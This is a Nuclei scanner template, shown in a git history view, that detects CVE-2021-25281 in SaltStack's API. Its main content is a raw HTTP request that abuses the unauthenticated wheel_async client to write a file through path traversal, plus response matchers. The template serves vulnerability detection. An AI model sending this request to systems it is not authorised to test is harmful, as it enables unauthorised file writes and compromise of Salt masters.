nuclei-templates/cves/2021/CVE-2021-25281.yaml

41 lines
1.1 KiB
YAML
Raw Normal View History

2021-02-26 09:02:30 +00:00
id: CVE-2021-25281
info:
name: CVE-2021-25281 - SaltStack wheel_async unauth access
author: madrobot
severity: critical
reference: http://hackdig.com/02/hack-283902.htm
2021-02-26 09:05:50 +00:00
description: The SaltAPI does not honor eauth credentials for the wheel_async client. Thus, an attacker can remotely run any wheel modules on the master.
2021-02-26 09:02:30 +00:00
tags: cve,cve2021,saltapi,rce,saltstack
requests:
- raw:
- |
POST /run HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/json
2021-02-26 09:02:59 +00:00
Content-Length: 173
2021-02-26 09:02:30 +00:00
Connection: close
2021-02-26 12:42:25 +00:00
{"client":"wheel_async","fun":"pillar_roots.write","data":"testing","path":"../../../../../../../tmp/testing","username":"1","password":"1","eauth":"pam"}
2021-02-26 09:02:30 +00:00
matchers-condition: and
matchers:
- type: word
words:
- "return"
- "tag"
- "jid"
- "salt"
- "wheel"
part: body
2021-02-26 12:25:38 +00:00
condition: and
2021-02-26 09:02:30 +00:00
- type: status
status:
- 200